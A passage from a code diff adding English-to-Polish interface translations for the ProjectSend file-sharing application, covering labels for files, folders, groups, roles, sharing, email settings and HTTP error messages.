istnieje.", + "Environment file not found.": "Nie znaleziono pliku konfiguracji środowiska.", + "errors": "błędy", + "Every comment on files you can see, newest first": "Wszystkie komentarze do plików, które widzisz, od najnowszych", + "Every download records the IP address of whoever downloaded it.": "Każde pobranie zapisuje adres IP osoby, która go dokonała.", + "Everyone": "Wszyscy", + "Everything that happened on this installation, newest first": "Wszystko, co wydarzyło się w tej instalacji, od najnowszych", + "Expand": "Rozwiń", + "Expand All": "Rozwiń wszystko", + "Expectation Failed": "Oczekiwanie nie powiodło się", + "Expires": "Wygasa", + "Expires :date": "Wygasa :date", + "Explanation": "Wyjaśnienie", + "Export": "Eksportuj", + "Export :name": "Export :name", + "Export CSV": "Eksportuj CSV", + "External storage": "Magazyn zewnętrzny", + "Extra fields shown on the client create and edit screens.": "Dodatkowe pola widoczne na ekranach tworzenia i edycji klientów.", + "Failed Dependency": "Nieudana zależność", + "Failed to send: :error": "Nie udało się wysłać: :error", + "File": "Plik", + "File: :name": "Plik: :name", + "File deleted.": "Usunięto plik.", + "File imported.": "Zaimportowano plik.", + "File name": "Nazwa pliku", + "File shared with a client": "Plik udostępniony klientowi", + "File updated.": "Zaktualizowano plik.", + "File uploaded.": "Przesłano plik.", + "Files": "Pliki", + "Files can only be assigned to clients or groups.": "Pliki można przypisywać wyłącznie klientom lub grupom.", + "Files shared with you": "Pliki udostępnione Tobie", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "Pliki leżące na dysku bez odpowiadającego im wpisu — z przerwanego przesyłania, przywracania kopii lub ręcznej ingerencji w system plików.", + "Flat labels for files — independent of folders. A file can have several.": "Proste etykiety dla plików — niezależne od folderów. Plik może mieć ich kilka.", + "Folder": "Folder", + "Folder: :name": "Folder: :name", + "Folder created.": "Utworzono folder.", + "Folder deleted.": "Usunięto folder.", + "Folder shared with a client": "Folder udostępniony klientowi", + "Folders can only be shared with clients or groups.": "Foldery można udostępniać wyłącznie klientom lub grupom.", + "Folders cannot be nested more than :max levels deep.": "Maksymalna głębokość zagnieżdżenia folderów: :max.", + "Forbidden": "Zabronione", + "Forgot password?": "Nie pamiętasz hasła?", + "Found": "Znaleziono", + "From": "Od", + "From address": "Adres nadawcy", + "From name": "Nazwa nadawcy", + "Gateway Timeout": "Przekroczenie limitu czasu bramy", + "General": "Ogólne", + "General settings": "Ustawienia ogólne", + "Go Home": "Przejdź do strony głównej", + "Go to page :page": "Przejdź do strony :page", + "Go to the login form": "Przejdź do formularza logowania", + "Gone": "Zasób został usunięty lub przeniesiony", + "Gray": "Szary", + "Green": "Zielony", + "Group": "Grupa", + "Group created.": "Utworzono grupę.", + "Group deleted.": "Usunięto grupę.", + "Group membership approved": "Członkostwo w grupie zatwierdzone", + "Group membership denied": "Członkostwo w grupie odrzucone", + "Group updated.": "Zaktualizowano grupę.", + "Groups": "Grupy", + "Groups clients can request to join at registration": "Grupy, o dołączenie do których klienci mogą poprosić przy rejestracji", + "Groups let you assign files to several clients at once": "Grupy pozwalają przypisać pliki kilku klientom naraz", + "Hello :name,": "Cześć :name,", + "Hello, :name": "Cześć, :name", + "Hello!": "Cześć!", + "Here is what has been shared with you": "Oto, co Ci udostępniono", + "Hide": "Ukryj", + "Hide :name": "Ukryj :name", + "Home": "Strona główna", + "Host": "Host", + "How client accounts are created on this installation": "Jak powstają konta klientów w tej instalacji", + "How long a self-deleted account is kept before it is permanently erased.": "Jak długo konto usunięte przez właściciela jest przechowywane przed trwałym wymazaniem.", + "How many files/folders were shared at once": "Ile plików/folderów udostępniono naraz", + "HTTP Version Not Supported": "Wersja HTTP nie jest obsługiwana", + "I'm a teapot": "Jestem czajnikiem", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Jeśli tego konta już nie będzie w chwili usuwania, pliki zostaną usunięte, zamiast zostać bez właściciela.", + "If you did not create an account, no further action is required.": "Jeśli nie stworzyłeś konta, zignoruj tę wiadomość.", + "If you did not request a password reset, no further action is required.": "Jeśli nie chcesz resetować hasła, zignoruj tę wiadomość.", + "If you received this, your email configuration is working.": "Jeśli otrzymujesz tę wiadomość, Twoja konfiguracja poczty działa.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "Jeżeli masz problemy z kliknięciem przycisku \":actionText\", skopiuj i wklej poniższy adres do pasku przeglądarki:", + "IM Used": "Użyto zasobów IM", + "Image": "Obraz", + "Impersonate": "Podszywaj się pod", + "Impersonation": "Podszywanie się", + "Import": "Importuj", + "Import :name": "Importuj :name", + "Import orphan files": "Importuj osierocone pliki", + "Import selected": "Importuj zaznaczone", + "Imported the orphan file \":subject\"": "Zaimportował(a) osierocony plik \":subject\"", + "Inactive": "Nieaktywne", + "Include this file when a group it's shared with is public.": "Uwzględnij ten plik, gdy grupa, której go udostępniono, jest publiczna.", + "Insert": "Wstaw", + "Installed ProjectSend": "Zainstalował(a) ProjectSend", + "Insufficient Storage": "Niewystarczające miejsce do przechowywania", + "Internal Server Error": "Wewnętrzny błąd serwera", + "Introduction": "Wprowadzenie", + "Invalid filename.": "Nieprawidłowa nazwa pliku.", + "Invalid JSON was returned from the route.": "Routing zwrócił nieprawidłowy kod JSON.", + "Invalid SSL Certificate": "Nieprawidłowy certyfikat SSL", + "Label": "Etykieta", + "Last modified": "Ostatnia zmiana", + "Latest files": "Najnowsze pliki", + "Leave": "Opuść", + "Leave empty for a link that never expires.": "Zostaw puste, aby link nigdy nie wygasał.", + "Leave empty for unlimited downloads.": "Zostaw puste, aby liczba pobrań była nieograniczona.", + "Leave group": "Opuść grupę", + "Leave this group?": "Opuścić tę grupę?", + "Left the group \":subject\"": "Opuścił(a) grupę \":subject\"", + "length": "długość", + "Length Required": "Wymagana długość", + "Library": "Biblioteka", + "Light": "Jasny", + "Like": "Lubię", + "Limit download counts": "Ograniczanie liczby pobrań", + "Limit to assigned clients": "Ogranicz do przypisanych klientów", + "Limits for files uploaded to this installation": "Limity dla plików przesyłanych do tej instalacji", + "Link unavailable": "Link niedostępny", + "Load": "Załaduj", + "Loading…": "Wczytywanie…", + "Local storage": "Magazyn lokalny", + "Localize": "Zlokalizuj", + "Location": "Lokalizacja", + "Locked": "Zablokowany", + "Log in": "Zaloguj się", + "Log In": "Zaloguj się", + "Log in to your account": "Zaloguj się na swoje konto", + "Log out": "Wyloguj się", + "Log Out": "Wyloguj się", + "Logged in": "Zalogował(a) się", + "Logged out": "Wylogował(a) się", + "Login": "Logowanie", + "Logout": "Wyloguj", + "Loop Detected": "Wykryto pętlę", + "Mail provider settings saved.": "Zapisano ustawienia dostawcy poczty.", + "Mailgun": "Mailgun", + "Maintenance Mode": "Tryb konserwacji", + "Manage custom fields": "Zarządzanie polami niestandardowymi", + "Manage public links from the edit page.": "Linkami publicznymi zarządzasz na stronie edycji.", + "Manage system users and roles": "Zarządzanie użytkownikami systemu i rolami", + "Manage updates": "Zarządzanie aktualizacjami", + "Manage your profile and account settings": "Zarządzaj swoim profilem i ustawieniami konta", + "Mark all read": "Oznacz wszystko jako przeczytane", + "Mark as read": "Oznacz jako przeczytane", + "Mark as unread": "Oznacz jako nieprzeczytane", + "Max downloads": "Maks. pobrań", + "Maximum file size (MB)": "Maksymalny rozmiar pliku (MB)", + "Member": "Członek", + "Members": "Członkowie", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "Osoby z tą rolą widzą tylko pliki i foldery przypisanych im klientów oraz to, co same przesłały.", + "Membership request approved.": "Wniosek o członkostwo zatwierdzony.", + "Membership request denied.": "Wniosek o członkostwo odrzucony.", + "Membership requests": "Wnioski o członkostwo", + "Membership requests are reviewed by an administrator": "Wnioski o członkostwo rozpatruje administrator", + "Method Not Allowed": "Niedozwolona metoda żądania", + "Minutes until the reset link expires": "Minuty do wygaśnięcia linku resetującego", + "Misdirected Request": "Błędnie skierowane żądanie", + "Modified": "Zmodyfikowano", + "Moved Permanently": "Trwale przekierowano", + "Moved the folder \":subject\"": "Przeniósł(-osła) folder \":subject\"", + "Multi-line text": "Tekst wielowierszowy", + "Multi-Status": "Wielostanowy", + "Multiple Choices": "Wiele opcji do wyboru", + "Multiple files/folders shared at once (digest)": "Wiele plików/folderów udostępnionych naraz (podsumowanie)", + "My files": "Moje pliki", + "My groups": "Moje grupy", + "Name": "Nazwa", + "Name or description": "Nazwa lub opis", + "Name or email address": "Nazwa lub adres e-mail", + "Never": "Nigdy", + "Never expires": "Nigdy nie wygasa", + "Network Authentication Required": "Wymagane uwierzytelnianie w sieci", + "Network Connect Timeout Error": "Błąd limitu czasu połączenia sieciowego", + "Network Read Timeout Error": "Błąd limitu czasu odczytu sieci", + "New": "Nowe", + "New :name": "Nowy :name", + "New category": "Nowa kategoria", + "New client": "Nowy klient", + "New client registrations and client uploads are sent here — at least one address is required.": "Tutaj trafiają nowe rejestracje klientów i przesyłane przez nich pliki — wymagany jest co najmniej jeden adres.", + "New field": "Nowe pole", + "New folder": "Nowy folder", + "New group": "Nowa grupa", + "New membership request from :client for the group \":group\".": "Nowy wniosek o członkostwo od :client dla grupy \":group\".", + "New password (leave blank to keep current)": "Nowe hasło (zostaw puste, aby zachować obecne)", + "New role": "Nowa rola", + "New user": "Nowy użytkownik", + "News": "Aktualności", + "Next": "Dalej", + "No": "Nie", + "No activity matches these filters.": "Żadna aktywność nie pasuje do tych filtrów.", + "No activity recorded yet.": "Nie zarejestrowano jeszcze żadnej aktywności.", + "No categories match your search.": "Żadna kategoria nie pasuje do wyszukiwania.", + "No categories yet.": "Nie ma jeszcze kategorii.", + "No clients match these filters.": "Żaden klient nie pasuje do tych filtrów.", + "No clients yet.": "Nie ma jeszcze klientów.", + "No comments match these filters.": "Żaden komentarz nie pasuje do tych filtrów.", + "No Content": "Brak treści", + "No custom fields yet.": "Nie ma jeszcze pól niestandardowych.", + "No downloads recorded yet.": "Nie zarejestrowano jeszcze żadnych pobrań.", + "No fields match your search.": "Żadne pole nie pasuje do wyszukiwania.", + "No files have been shared with you yet.": "Nie udostępniono Ci jeszcze żadnych plików.", + "No files here yet.": "Nie ma tu jeszcze plików.", + "No files or folders match your search.": "Żaden plik ani folder nie pasuje do wyszukiwania.", + "No files yet. Upload the first one.": "Nie ma jeszcze plików. Prześlij pierwszy.", + "No folder": "Brak folderu", + "No groups match these filters.": "Żadna grupa nie pasuje do tych filtrów.", + "No groups yet.": "Nie ma jeszcze grup.", + "No members yet.": "Nie ma jeszcze członków.", + "No more categories": "Nie ma więcej kategorii", + "No more clients to add": "Nie ma więcej klientów do dodania", + "No news yet.": "Nie ma jeszcze aktualności.", + "No orphan files found.": "Nie znaleziono osieroconych plików.", + "No orphan files match your search.": "Żaden osierocony plik nie pasuje do wyszukiwania.", + "No pending requests.": "Brak oczekujących wniosków.", + "No public links yet.": "Nie ma jeszcze linków publicznych.", + "No recipients added yet.": "Nie dodano jeszcze żadnych odbiorców.", + "No requests match your search.": "Żaden wniosek nie pasuje do wyszukiwania.", + "No roles match this filter.": "Żadna rola nie pasuje do tego filtru.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Bez limitu rozmiaru. Przesyłanie można wstrzymać, a po przerwie wznawia się automatycznie.", + "No users match these filters.": "Żaden użytkownik nie pasuje do tych filtrów.", + "No users yet.": "Nie ma jeszcze użytkowników.", + "Nobody (optional for everyone)": "Nikt (opcjonalne dla wszystkich)", + "Non-Authoritative Information": "Informacje niepotwierdzone", + "None": "Brak", + "None of the selected items could be found.": "Nie znaleziono żadnego z zaznaczonych elementów.", + "Not Acceptable": "Niedopuszczalne", + "Not Extended": "Nie rozszerzono", + "Not Found": "Nie Znaleziono", + "Not Implemented": "Nie zaimplementowano", + "Not Modified": "Niezmodyfikowany", + "Not shared with anyone yet.": "Jeszcze nikomu nie udostępniono.", + "Notification settings": "Ustawienia powiadomień", + "Notifications": "Powiadomienia", + "Nothing is publicly shared yet.": "Nic nie zostało jeszcze udostępnione publicznie.", + "of": "z", + "OK": "OK", + "One option per line": "Jedna opcja w wierszu", + "Only clients can be group members.": "Członkami grupy mogą być wyłącznie klienci.", + "Only clients can comment here.": "Tutaj mogą komentować tylko klienci.", + "Only for anonymous downloads": "Tylko przy pobraniach anonimowych", + "Only people who are signed in can comment here.": "Tutaj mogą komentować tylko osoby zalogowane.", + "Only staff can comment here.": "Tutaj może komentować tylko zespół.", + "Only the wording below is editable — any button or link in this email stays fixed.": "Edytować można tylko treść poniżej — przyciski i linki w tej wiadomości pozostają bez zmian.", + "Open": "Otwórz", + "Open folder": "Otwórz folder", + "Open in a current window": "Otwórz w bieżącym oknie", + "Open in a new window": "Otwórz w nowym oknie", + "Open in a parent frame": "Otwórz w ramce nadrzędnej", + "Open in the topmost frame": "Otwórz w najwyższej ramce", + "Open on the website": "Otwórz na stronie", + "Open public listing": "Otwórz listę publiczną", + "Options": "Opcje", + "Or enter this key manually:": "Albo wpisz ten klucz ręcznie:", + "Orange": "Pomarańczowy", + "Origin Is Unreachable": "Serwer źródłowy jest nieosiągalny", + "Outgoing email": "Poczta wychodząca", + "Outgoing email theme": "Motyw poczty wychodzącej", + "Page :current of :last": "Strona :current z :last", + "Page Expired": "Strona Wygasła", + "Pagination Navigation": "Nawigacja Stron", + "Partial Content": "Częściowa zawartość", + "Password": "Hasło", + "Password reset": "Resetowanie hasła", + "Path": "Ścieżka", + "Payload Too Large": "Ładunek zbyt duży", + "Payment Required": "Płatność Wymagana", + "Pending approval": "Oczekuje na zatwierdzenie", + "Permanent Redirect": "Trwałe przekierowanie", + "Permanently erased a deleted account": "Trwale wymazał(a) usunięte konto", + "Permissions": "Uprawnienia", + "Pink": "Różowy", + "Platform": "Platforma", + "Please click the button below to verify your email address.": "Kliknij poniższy przycisk aby zweryfikować swój adres e-mail.", + "Port": "Port", + "Postmark": "Postmark", + "Powered by ProjectSend": "Działa na ProjectSend", + "Precondition Failed": "Warunek wstępny niespełniony", + "Precondition Required": "Wymagany warunek wstępny", + "Preparing your download…": "Przygotowywanie pobierania…", + "Preview": "Podgląd", + "Preview: :theme": "Podgląd: :theme", + "Previous": "Wstecz", + "Price": "Cena", + "Privacy": "Prywatność", + "Privacy settings": "Ustawienia prywatności", + "Private": "Prywatne", + "Processing": "Przetwarzanie", + "Profile": "Profil", + "Profile information was updated": "Zaktualizowano dane profilu", + "ProjectSend :latestVersion is available (you have :currentVersion)": "Dostępny jest ProjectSend :latestVersion (masz :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend to wolne oprogramowanie o otwartym kodzie źródłowym do wysyłania plików klientom. Jest wydawane na licencji :license, co oznacza, że możesz go swobodnie używać, badać, zmieniać i udostępniać.", + "ProjectSend is ready": "ProjectSend jest gotowy", + "ProjectSend was installed": "Zainstalowano ProjectSend", + "Provider": "Dostawca", + "Proxy Authentication Required": "Wymagane uwierzytelnienie serwera proxy", + "Public": "Publiczne", + "Public file": "Plik publiczny", + "Public files": "Pliki publiczne", + "Public group": "Grupa publiczna", + "Public group listing": "Publiczna lista grup", + "Public groups": "Grupy publiczne", + "Public link": "Link publiczny", + "Public link created.": "Utworzono link publiczny.", + "Public link revoked.": "Unieważniono link publiczny.", + "Public links": "Linki publiczne", + "Public listing": "Lista publiczna", + "Public listing settings": "Ustawienia listy publicznej", + "Public listing URL": "Adres URL listy publicznej", + "Public pages & portal": "Strony publiczne i portal", + "Public pages and client portal theme": "Motyw stron publicznych i portalu klienta", + "Published": "Opublikowano", + "Purple": "Fioletowy", + "Quota": "Limit", + "Railgun Error": "Błąd Railguna", + "Range Not Satisfiable": "Żądany zakres jest nieobsługiwany", + "Read more": "Czytaj więcej", + "Reassign them to": "Przypisz je do", + "Recent activity": "Ostatnia aktywność", + "Recipient": "Odbiorca", + "Record": "Nagrywać", + "Record IP addresses for downloads": "Zapisuj adresy IP przy pobraniach", + "Recovery code": "Kod odzyskiwania", + "Red": "Czerwony", + "Regards,": "Z poważaniem,", + "Regenerate recovery codes": "Wygeneruj nowe kody odzyskiwania", + "Regenerate recovery codes?": "Wygenerować nowe kody odzyskiwania?", + "Regenerated two-factor recovery codes": "Wygenerował(a) nowe kody odzyskiwania dwuskładnikowego", + "Register": "Zarejestruj się", + "Register to access the files shared with you.": "Zarejestruj się, aby uzyskać dostęp do udostępnionych Ci plików.", + "Register to request access. An administrator will review your request.": "Zarejestruj się, aby poprosić o dostęp. Administrator rozpatrzy Twój wniosek.", + "Registered a new client account": "Zarejestrował(a) nowe konto klienta", + "Related": "Powiązane", + "Remember me": "Zapamiętaj mnie", + "Remove": "Usuń", + "Removed \":member\" from the group \":subject\"": "Usunął(-ęła) \":member\" z grupy \":subject\"", + "Removed the file \":subject\" from :target": "Odebrał(a) plik \":subject\" odbiorcy :target", + "Rename": "Zmień nazwę", + "Renamed the folder \":subject\"": "Zmienił(a) nazwę folderu \":subject\"", + "Repository": "Repozytorium", + "Request declined": "Wniosek odrzucony", + "Request Header Fields Too Large": "Za duże pola nagłówka żądania", + "Request membership": "Poproś o członkostwo", + "Request membership to groups (optional)": "Poproś o członkostwo w grupach (opcjonalnie)", + "Request Timeout": "Limit czasu żądania został przekroczony", + "Requested": "Zgłoszono", + "Requested membership to the group \":subject\"": "Poprosił(a) o członkostwo w grupie \":subject\"", + "Requested memberships wait in the membership requests queue for approval.": "Zgłoszone członkostwa czekają na zatwierdzenie w kolejce wniosków o członkostwo.", + "Require two-factor authentication": "Wymagaj uwierzytelniania dwuskładnikowego", + "Required": "Wymagane", + "Reset Content": "Zresetuj zawartość", + "Reset Password": "Zresetuj Hasło", + "Reset Password Notification": "Powiadomienie o Zresetowaniu Hasła", + "Reset this email to its default wording?": "Przywrócić domyślną treść tej wiadomości?", + "Reset to default": "Przywróć domyślne", + "Restore": "Przywróć", + "Restore :name": "Przywróć :name", + "Restricted extension": "Ograniczone rozszerzenie", + "Result": "Wynik", + "results": "wyników", + "Review membership requests": "Rozpatrywanie wniosków o członkostwo", + "Review pending requests": "Rozpatrz oczekujące wnioski", + "Retry With": "Spróbuj ponownie z użyciem", + "Revoke": "Unieważnij", + "Revoke link": "Unieważnij link", + "Revoke this public link?": "Unieważnić ten link publiczny?", + "Revoked a public link for the file \":subject\"": "Unieważnił(a) link publiczny do pliku \":subject\"", + "Role": "Rola", + "Role created.": "Utworzono rolę.", + "Role deleted.": "Usunięto rolę.", + "Role name": "Nazwa roli", + "Role updated.": "Zaktualizowano rolę.", + "Roles": "Role", + "Sample email": "Przykładowa wiadomość", + "Save": "Zapisz", + "Save :name": "Zapisz :name", + "Save & Close": "Zapisz i zamknij", + "Save & Return": "Zapisz i wróć", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Zapisz zmiany, aby to opublikować — do tego czasu te przyciski prowadzą do strony, której jeszcze nie ma.", + "Saved": "Zapisano", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Zeskanuj ten kod QR aplikacją uwierzytelniającą, a następnie wpisz sześciocyfrowy kod, aby potwierdzić.", + "Scanning:": "Skanowanie:", + "Scheduled tasks": "Zaplanowane zadania", + "Search": "Szukaj", + "Search :name": "Szukaj :name", + "Search all files and folders": "Przeszukaj wszystkie pliki i foldery", + "Search by client or group": "Szukaj według klienta lub grupy", + "Search by name": "Szukaj według nazwy", + "Search by name or email address": "Szukaj według nazwy lub adresu e-mail", + "Search by path": "Szukaj według ścieżki", + "Search categories": "Szukaj kategorii", + "Search fields": "Szukaj pól", + "Search your files": "Przeszukaj swoje pliki", + "Security": "Bezpieczeństwo", + "Security settings": "Ustawienia bezpieczeństwa", + "See Other": "Zobacz inny zasób", + "Select": "Wybierz", + "Select :name": "Zaznacz :name", + "Select a client or group": "Wybierz klienta lub grupę", + "Select a client to add": "Wybierz klienta do dodania", + "Select a role": "Wybierz rolę", + "Select All": "Zaznacz wszystko", + "Select an option": "Wybierz opcję", + "Select at least one file or folder.": "Zaznacz co najmniej jeden plik lub folder.", + "Self-registered clients join this group automatically.": "Klienci, którzy rejestrują się sami, trafiają do tej grupy automatycznie.", + "Send": "Wyślij", + "Send email notifications": "Wysyłaj powiadomienia e-mail", + "Send test email": "Wyślij wiadomość testową", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Wysyła od razu prawdziwą wiadomość, z pominięciem kolejki, żebyś mógł sprawdzić, czy powyższe ustawienia naprawdę działają.", + "Separate paragraphs with a blank line.": "Oddzielaj akapity pustym wierszem.", + "Server Error": "Błąd Serwera", + "Service Unavailable": "Serwis Niedostępny", + "Session Has Expired": "Sesja wygasła – wymagane ponowne logowanie", + "Set file expiration dates": "Ustawianie dat wygaśnięcia plików", + "Set to 0 for no limit. Available disk space still applies.": "Ustaw 0, aby nie było limitu. Dostępne miejsce na dysku nadal obowiązuje.", + "Set to 0 to allow requesting again immediately.": "Ustaw 0, aby zezwolić na ponowny wniosek od razu.", + "Set up ProjectSend": "Skonfiguruj ProjectSend", + "Settings": "Ustawienia", + "Settings that apply to the whole installation": "Ustawienia obowiązujące w całej instalacji", + "Setup complete": "Konfiguracja zakończona", + "Share a file with the people who manage your account.": "Udostępnij plik osobom, które zarządzają Twoim kontem.", + "Share files with several clients at once": "Udostępniaj pliki kilku klientom naraz", + "Shared the folder \":subject\" with :target": "Udostępnił(a) folder \":subject\" odbiorcy :target", + "Shared with": "Udostępniono", + "Shared with :count": "Udostępniono: :count", + "Sharing": "Udostępnianie", + "Sharing a folder shares everything inside it, now and later": "Udostępnienie folderu udostępnia całą jego zawartość, teraz i w przyszłości", + "Show": "Pokaż", + "Show :name": "Pokaż :name", + "Show All": "Pokaż wszystko", + "Showing": "Wyświetlanie", + "Showing matches from across your library": "Wyniki z całej Twojej biblioteki", + "Showing matches from everything shared with you": "Wyniki ze wszystkiego, co Ci udostępniono", + "Shown across the application and to your clients.": "Wyświetlane w całej aplikacji oraz Twoim klientom.", + "Shows a registration form on the login screen.": "Pokazuje formularz rejestracji na ekranie logowania.", + "Sign In": "Zalogować się", + "Sign up": "Zarejestruj się", + "Site name": "Nazwa witryny", + "Size": "Rozmiar", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "Pomiń adres IP, gdy pobiera zalogowane konto — jego tożsamość jest już znana.", + "SMTP configuration": "Konfiguracja SMTP", + "Source code": "Kod źródłowy", + "Special public links": "Specjalne linki publiczne", + "Solve": "Rozwiąż", + "Something went wrong. Please try again.": "Coś poszło nie tak. Spróbuj ponownie.", + "SSL": "SSL", + "SSL Handshake Failed": "Nieudane uzgadnianie SSL", + "Staff": "Zespół", + "Start": "Początek", + "Status": "Status", + "Stop": "Zatrzymywać się", + "Stopped sharing the folder \":subject\" with :target": "Przestał(a) udostępniać folder \":subject\" odbiorcy :target", + "Storage": "Magazyn", + "Storage free": "Wolne miejsce", + "Storage quota (MB)": "Limit miejsca (MB)", + "Storage used": "Wykorzystane miejsce", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Zapisz te kody odzyskiwania w bezpiecznym miejscu. Każdego można użyć raz, jeśli stracisz dostęp do aplikacji uwierzytelniającej.", + "Subfolders": "Podfoldery", + "Subject": "Temat", + "Submit": "Zatwierdź", + "Subscribe": "Subskrybuj", + "Success: test email sent to :email via :hostport.": "Sukces: wiadomość testową wysłano na :email przez :hostport.", + "Support the project": "Wesprzyj projekt", + "Switch": "Przełącz", + "Switch To Role": "Przełącz na rolę", + "Switching Protocols": "Przełączanie protokołów", + "System": "System", + "System Administrator": "Administrator systemu", + "System settings": "Ustawienia systemu", + "System settings were updated": "Zaktualizowano ustawienia systemu", + "System users": "Użytkownicy systemu", + "Tag": "Tag", + "Tags": "Tagi", + "Temporary Redirect": "Tymczasowe przekierowanie", + "Test": "Test", + "Text": "Tekst", + "Text or author": "Treść lub autor", + "The account of :name will be permanently deleted. This cannot be undone.": "Konto :name zostanie trwale usunięte. Tej operacji nie można cofnąć.", + "The account password was changed": "Zmieniono hasło do konta", + "The account request of :name will be denied and the account deleted.": "Wniosek o konto od :name zostanie odrzucony, a konto usunięte.", + "The administrator account was created successfully.": "Konto administratora zostało utworzone.", + "The administrator role always has every permission and cannot be edited.": "Rola administratora zawsze ma wszystkie uprawnienia i nie można jej edytować.", + "The base URL segment for public group pages, e.g. :url": "Bazowy fragment adresu URL stron grup publicznych, np. :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "Kategoria \":name\" zostanie usunięta ze wszystkich swoich plików. Same pliki nie zostaną usunięte.", + "The client's email address": "Adres e-mail klienta", + "The client's name": "Nazwa klienta", + "The clients this group shares files with": "Klienci, którym ta grupa udostępnia pliki", + "The field \":name\" and all its stored values will be permanently deleted.": "Pole \":name\" i wszystkie zapisane w nim wartości zostaną trwale usunięte.", + "The file \":file\" was uploaded by :client.": "Plik \":file\" przesłał(a) :client.", + "The file \":name\" has been shared with you.": "Udostępniono Ci plik \":name\".", + "The file \":name\" will no longer be available to anyone it was shared with.": "Plik \":name\" przestanie być dostępny dla wszystkich, którym go udostępniono.", + "The file name": "Nazwa pliku", + "The file or folder name": "Nazwa pliku lub folderu", + "The file will be permanently removed from disk. This cannot be undone.": "Plik zostanie trwale usunięty z dysku. Tej operacji nie można cofnąć.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "Pliki grupy publicznej może przeglądać każdy, kto ma link, bez logowania.", + "The files shared with you": "Pliki udostępnione Tobie", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "Folder \":name\" i cała jego zawartość zostaną usunięte. Administrator może to cofnąć.", + "The following :count items have been shared with you:": "Udostępniono Ci następujące elementy (liczba: :count):", + "The folder \":name\" has been shared with you.": "Udostępniono Ci folder \":name\".", + "The given data was invalid.": "Podane dane były nieprawidłowe.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "Grupa \":name\" zostanie usunięta. Jej klienci zachowają swoje konta.", + "The group name": "Nazwa grupy", + "The groups you belong to and the ones you can ask to join": "Grupy, do których należysz, oraz te, o dołączenie do których możesz poprosić", + "The header/footer style used for every outgoing notification email.": "Styl nagłówka i stopki używany w każdej wychodzącej wiadomości z powiadomieniem.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "Wygląd publicznych stron dla odwiedzających, portalu klienta oraz wychodzących wiadomości z powiadomieniami.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "Sam serwer pocztowy konfiguruje się w pliku .env tej instalacji (zmienne MAIL_*), a nie tutaj.", + "The people who administer this installation and upload files": "Osoby, które administrują tą instalacją i przesyłają pliki", + "The people you share files with": "Osoby, którym udostępniasz pliki", + "The provided two-factor authentication code was invalid.": "Podany kod uwierzytelniania dwuskładnikowego był nieprawidłowy.", + "The release this installation is running, and where it comes from.": "Wersja, na której działa ta instalacja, i skąd pochodzi.", + "The response is not a streamed response.": "Odpowiedź nie jest odpowiedzią przesyłaną strumieniowo.", + "The response is not a view.": "Odpowiedź nie jest widokiem.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "Rola \":name\" zostanie trwale usunięta. Tej operacji nie można cofnąć.", + "The selected folders are empty.": "Zaznaczone foldery są puste.", + "The uploading client's name": "Nazwa klienta przesyłającego plik", + "Their account is waiting for approval.": "To konto czeka na zatwierdzenie.", + "There is nothing to configure yet.": "Nie ma jeszcze czego konfigurować.", + "Test email from :site": "Wiadomość testowa z :site", + "These files will be permanently removed from disk. This cannot be undone.": "Te pliki zostaną trwale usunięte z dysku. Tej operacji nie można cofnąć.", + "Theme": "Motyw", + "Theme updated.": "Zaktualizowano motyw.", + "Theming": "Motywy", + "Theming settings": "Ustawienia motywów", + "This action is unauthorized.": "To działanie jest niedozwolone.", + "This file exceeds the maximum allowed size of :max MB.": "Ten plik przekracza maksymalny dozwolony rozmiar :max MB.", + "This folder is empty.": "Ten folder jest pusty.", + "This installation has no administrator yet. Create the first one to get started.": "Ta instalacja nie ma jeszcze administratora. Utwórz pierwszego, aby zacząć.", + "This is a built-in role; its scope can't be changed.": "To rola wbudowana; jej zakresu nie można zmienić.", + "This is a preview of the :theme email theme.": "To podgląd motywu wiadomości :theme.", + "This is a sample email — no notification was actually sent.": "To przykładowa wiadomość — żadne powiadomienie nie zostało naprawdę wysłane.", + "This is a test email from :site.": "To wiadomość testowa z :site.", + "This is the last active administrator account.": "To ostatnie aktywne konto administratora.", + "This link cannot match the file's own public URL slug.": "Ten link nie może być taki sam jak własny publiczny identyfikator URL pliku.", + "This link doesn't exist or has been revoked.": "Ten link nie istnieje lub został unieważniony.", + "This link has expired.": "Ten link wygasł.", + "This link has reached its download limit.": "Ten link osiągnął swój limit pobrań.", + "This password reset link will expire in :count minutes.": "Link do resetowania hasła wygaśnie za :count minut.", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Trwale usuwa z listy wszystkie nieudane zadania, nie ponawiając żadnego z nich. Tej operacji nie można cofnąć.", + "This role is assigned to accounts and cannot be deleted.": "Ta rola jest przypisana do kont i nie można jej usunąć.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Ta rola widzi tylko pliki i foldery tych klientów oraz to, co sama przesłała.", + "This upload would exceed your storage quota of :quota MB.": "To przesłanie przekroczyłoby Twój limit miejsca wynoszący :quota MB.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "Wskazówka: przeciągnij pliki i foldery na folder lub na ścieżkę nawigacji, aby je przenieść.", + "Title": "Tytuł", + "Title (optional)": "Tytuł (opcjonalnie)", + "TLS": "TLS", + "to": "do", + "To": "Do", + "Toggle navigation": "Przełącz nawigację", + "Too Early": "Żądanie złożone zbyt wcześnie", + "Too many files selected. Choose a smaller selection and try again.": "Zaznaczono zbyt wiele plików. Wybierz mniej i spróbuj ponownie.", + "Too Many Requests": "Zbyt Dużo Zapytań", + "Transactional email 